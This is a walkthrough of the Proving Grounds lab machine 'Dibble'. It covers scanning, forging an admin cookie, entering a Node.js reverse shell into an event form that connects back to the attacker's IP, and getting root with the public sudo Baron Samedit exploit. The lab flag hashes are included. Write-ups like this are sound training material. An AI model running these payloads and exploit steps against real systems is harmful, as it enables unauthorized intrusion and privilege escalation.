Summary #
On port 3000 there is a web application for Events and Issues Reporting
. After registering and logging in we find that the cookie can be changed to URL and base64 encoded admin
to get administrative access. With this access we can register an event and using node.js to get initial access.
Once on the target we find it vulnerable for Sudo Baron Samedit
(CVE-2021-3156). Exploiting this vulnerability we can escalate to the root
user.
Specifications #
- Name: DRIBBLE
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux dibble 5.8.10-200.fc32.x86_64 #1 SMP Thu Sep 17 16:48:25 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.114.110
- OFFSEC provided credentials: None
- HASH:
local.txt
:05085415e9b3c5113019bf56e5979de9
- HASH:
proof.txt
:eba8fc3657a46be163e6f2ed47fe0237
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir dibble && cd dibble && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Oct 9 18:11 .
drwxrwxr-x 85 kali kali 4096 Oct 9 18:11 ..
drwxrwxr-x 2 kali kali 4096 Oct 9 18:11 enum
drwxrwxr-x 2 kali kali 4096 Oct 9 18:11 exploits
drwxrwxr-x 2 kali kali 4096 Oct 9 18:11 files
drwxrwxr-x 2 kali kali 4096 Oct 9 18:11 tools
drwxrwxr-x 2 kali kali 4096 Oct 9 18:11 uploads
## set bash variable
ip=192.168.114.110
## ping target to check if it's online
ping $ip
PING 192.168.114.110 (192.168.114.110) 56(84) bytes of data.
64 bytes from 192.168.114.110: icmp_seq=1 ttl=61 time=19.4 ms
64 bytes from 192.168.114.110: icmp_seq=2 ttl=61 time=19.8 ms
^C
--- 192.168.114.110 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.442/19.642/19.843/0.200 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Where '404 Not Found' meets '200 OK'.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.114.110:21
Open 192.168.114.110:22
Open 192.168.114.110:80
Open 192.168.114.110:3000
Open 192.168.114.110:27017
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-09 18:47 CEST
Initiating Ping Scan at 18:47
Scanning 192.168.114.110 [4 ports]
Completed Ping Scan at 18:47, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:47
Completed Parallel DNS resolution of 1 host. at 18:47, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:47
Scanning 192.168.114.110 [5 ports]
Discovered open port 21/tcp on 192.168.114.110
Discovered open port 80/tcp on 192.168.114.110
Discovered open port 27017/tcp on 192.168.114.110
Discovered open port 22/tcp on 192.168.114.110
Discovered open port 3000/tcp on 192.168.114.110
Completed SYN Stealth Scan at 18:47, 0.05s elapsed (5 total ports)
Nmap scan report for 192.168.114.110
Host is up, received echo-reply ttl 61 (0.024s latency).
Scanned at 2025-10-09 18:47:21 CEST for 0s
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3000/tcp open ppp syn-ack ttl 61
27017/tcp open mongod syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
Raw packets sent: 9 (372B) | Rcvd: 6 (248B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3000/tcp open ppp syn-ack ttl 61
27017/tcp open mongod syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
21,22,80,3000,27017
## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,80,3000,27017 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.154
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
| 3072 9d:3f:eb:1b:aa:9c:1e:b1:30:9b:23:53:4b:cf:59:75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJQfskNhOndcMLdRllpGbvhSaJBkmwdZnt3n0U7U3XxjpKx/ZUagAkwNTNPooV1Vc10PSdPE1pWMpqEiiHz7+guLRB4SrXsayYx67pZ0yiRrZ7gaxyEMKoI+p9owIt77Q6mG7PDjb5PQCd7G0xYFMCCaNFUpDfzZZUp2RGenL6b/xLSY1g0/Id1c9Q1S2pKsxMmf+TFqvAS6uOjSHY9fMbQesNQ0hZ74hcWooMOARyPTIYsu2/EmFjhz/hWydF2y5yikz96aBmBl6Z4KBVjp9vFHH50BwAMJuXyKMx5yCr4JzEV8RY3D6otNvR/yxuAxGcwffsaY6O1f9K8HyP6mF9J22tuxsRepSQTDUXNAUGeg9RR86RP7EpGkJ+3Y08vFGnsaRUY7w0800mpafyBeQMjO07urK0UuHihOKTRyW0aXsk9W/ruNJkLQNPWuNiZ/R1QCFRICQLJXl6V0nw0sKv7uxdDYO50OyQ3w3T08pazQr8tiuW38YonUwKPU6I6xc=
| 256 cd:dc:05:e6:e3:bb:12:33:f7:09:74:50:12:8a:85:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK9spPy8kad9kuulG4kX03Wofq8wXe6arLeCb41/Nh7xFMtpRGM6zo7A8U3Vatg7bX20jaU43i7uYZyl7IA5dNA=
| 256 a0:90:1f:50:78:b3:9e:41:2a:7f:5c:6f:4d:0e:a1:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ00KH0CvMHGQmVCsdM6I+93pxC0naR6to6qUq3ZJa4b
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.46 ((Fedora))
|_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03
|_http-server-header: Apache/2.4.46 (Fedora)
|_http-title: Home | Hacking Articles
| http-methods:
|_ Supported Methods: GET POST HEAD OPTIONS
|_http-generator: Drupal 9 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
| /index.php/comment/reply/ /index.php/filter/tips /index.php/node/add/
| /index.php/search/ /index.php/user/password/ /index.php/user/register/
|_/index.php/user/login/ /index.php/user/logout/
3000/tcp open http syn-ack ttl 61 Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
27017/tcp open mongodb syn-ack ttl 61 MongoDB 4.2.9
| mongodb-info:
| MongoDB Build info
| version = 4.2.9
| openssl
| running = OpenSSL 1.0.1e-fips 11 Feb 2013
| compiled = OpenSSL 1.0.1e-fips 11 Feb 2013
| versionArray
| 3 = 0
| 2 = 9
| 1 = 2
| 0 = 4
| ok = 1.0
| allocator = tcmalloc
| gitVersion = 06402114114ffc5146fd4b55402c96f1dc9ec4b5
| maxBsonObjectSize = 16777216
| storageEngines
| 3 = wiredTiger
| 2 = ephemeralForTest
| 1 = devnull
| 0 = biggie
| javascriptEngine = mozjs
| bits = 64
| modules
| buildEnvironment
| target_os = linux
| distarch = x86_64
| linkflags = -pthread -Wl,-z,now -rdynamic -Wl,--fatal-warnings -fstack-protector-strong -fuse-ld=gold -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro
| cxx = /opt/mongodbtoolchain/v3/bin/g++: g++ (GCC) 8.2.0
| distmod = rhel70
| ccflags = -fno-omit-frame-pointer -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -Werror -O2 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-const-variable -Wno-unused-but-set-variable -Wno-missing-braces -fstack-protector-strong -fno-builtin-memcmp
| target_arch = x86_64
| cxxflags = -Woverloaded-virtual -Wno-maybe-uninitialized -fsized-deallocation -std=c++17
| cc = /opt/mongodbtoolchain/v3/bin/gcc: gcc (GCC) 8.2.0
| debug = false
| sysInfo = deprecated
| Server status
| tcmalloc
| tcmalloc
| release_rate = 1.0
| thread_cache_free_bytes = 849264
| pageheap_decommit_count = 7
| pageheap_commit_count = 68
| transfer_cache_free_bytes = 141568
| pageheap_unmapped_bytes = 12288
| pageheap_committed_bytes = 99520512
| pageheap_free_bytes = 4620288
| aggressive_memory_decommit = 0
| pageheap_reserve_count = 54
| pageheap_total_decommit_bytes = 2703360
| formattedString = ------------------------------------------------
| MALLOC: 93716992 ( 89.4 MiB) Bytes in use by application
| MALLOC: + 4620288 ( 4.4 MiB) Bytes in page heap freelist
| MALLOC: + 192976 ( 0.2 MiB) Bytes in central cache freelist
| MALLOC: + 141568 ( 0.1 MiB) Bytes in transfer cache freelist
| MALLOC: + 848688 ( 0.8 MiB) Bytes in thread cache freelists
| MALLOC: + 2752512 ( 2.6 MiB) Bytes in malloc metadata
| MALLOC: ------------
| MALLOC: = 102273024 ( 97.5 MiB) Actual memory used (physical + swap)
| MALLOC: + 12288 ( 0.0 MiB) Bytes released to OS (aka unmapped)
| MALLOC: ------------
| MALLOC: = 102285312 ( 97.5 MiB) Virtual address space used
| MALLOC:
| MALLOC: 682 Spans in use
| MALLOC: 28 Thread heaps in use
| MALLOC: 4096 Tcmalloc page size
| ------------------------------------------------
| Call ReleaseFreeMemory() to release freelist memory to the OS (via madvise()).
| Bytes released to the OS take up virtual address space but no physical memory.
| total_free_bytes = 1183808
| central_cache_free_bytes = 192976
| current_total_thread_cache_bytes = 849264
| max_total_thread_cache_bytes = 258998272
| spinlock_total_delay_ns = 0
| pageheap_total_reserve_bytes = 99532800
| pageheap_total_commit_bytes = 102223872
| pageheap_scavenge_count = 7
| generic
| heap_size = 99532800
| current_allocated_bytes = 93716416
| version = 4.2.9
<SNIP>
Initial Access #
3000/tcp open http syn-ack ttl 61 Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
On port 3000 there is a web application called Events and Issues Reporting
.

We can register an account by clicking on Register an account
, using these credentials (hekk:Password1
) we register an account and next login. Indeed, we can log into the application.

Clicking on See All Events
we get an overview of all registered events:

When we try to register a new event using the New Event Log
we get an error that only the admin
can update the Event logs.

Using F12 / open web developers tool will show a cookie called userLevel
which contains a URL and base64 encoded value.

URL and base64 decoding of ZGVmYXVsdA%3D%3D
, is default
. Perhaps we can upgrade ourselves by replacing default
by admin
or administrator
, because this user exist in the event log and the only user that can update the event log.
## URL and base64 decode string
echo -n "ZGVmYXVsdA%3D%3D" | sed 's/%3D/=/g' | base64 -d
default
## base64 and URL encode `admin`
echo -n "admin" | base64 -w 0 | sed 's/=/%3D/g'
YWRtaW4%3D
Replacing the existing cookie value with YWRtaW4%3D
and refreshing the page allows us to register a new log event.

In the NMAP output we can see this web application is written in Node.js (Express middleware). Using this website (https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#nodejs) we can get a reverse shell (and thus initial access) as the benjamin
user in the /home/benjamin/app
directory.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.154
## setup a listener
nc -lvnp 80
listening on [any] 80 ...
Now add a new log event with this code and click Register
to get the reverse shell
## node.js reverse shell code to enter in the new event log
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(80, "192.168.45.154", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.154] from (UNKNOWN) [192.168.114.110] 39970
## print current user
whoami
benjamin
## print current working directory
pwd
/home/benjamin/app
## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/benjamin/local.txt
## print `local.txt`
cat /home/benjamin/local.txt
05085415e9b3c5113019bf56e5979de9
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.154
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## change directory
[benjamin@dibble app]$ cd /var/tmp
[benjamin@dibble tmp]$
## download `linpeas.sh`
[benjamin@dibble tmp]$ wget http://192.168.45.154/linpeas.sh
--2025-10-09 18:02:04-- http://192.168.45.154/linpeas.sh
Connecting to 192.168.45.154:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 971820 (949K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 0%[ linpeas.sh 38%[=========================================> linpeas.sh 89%[=========================================================linpeas.sh 100%[=============================================================================================================>] 949.04K 2.17MB/s in 0.4s
2025-10-09 18:02:04 (2.17 MB/s) - ‘linpeas.sh’ saved [971820/971820]
## set the execution bit
[benjamin@dibble tmp]$ chmod +x linpeas.sh
## run `linpeas.sh`
[benjamin@dibble tmp]$ ./linpeas.sh
The linpeas.sh
output shows the target is vulnerable for Sudo Baron Samedit
(CVE-2021-3156). Using this exploit we can escalate our privileges to the root
user.
## download exploit
wget https://raw.githubusercontent.com/worawit/CVE-2021-3156/refs/heads/main/exploit_nss.py
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.154
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target:
## download the exploit
[benjamin@dibble tmp]$ wget http://192.168.45.154/exploit_nss.py
--2025-10-09 18:42:15-- http://192.168.45.154/exploit_nss.py
Connecting to 192.168.45.154:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8179 (8.0K) [text/x-python]
Saving to: ‘exploit_nss.py’
exploit_nss.py 0%[ exploit_nss.py 100%[=============================================================================================================>] 7.99K --.-KB/s in 0.002s
2025-10-09 18:42:15 (3.85 MB/s) - ‘exploit_nss.py’ saved [8179/8179]
## run the exploit
[benjamin@dibble tmp]$ python3 ./exploit_nss.py
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[root@dibble tmp]#
## print `proof.txt`
[root@dibble tmp]# cat /root/proof.txt
eba8fc3657a46be163e6f2ed47fe0237
References #
[+] https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#nodejs
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://raw.githubusercontent.com/worawit/CVE-2021-3156/refs/heads/main/exploit_nss.py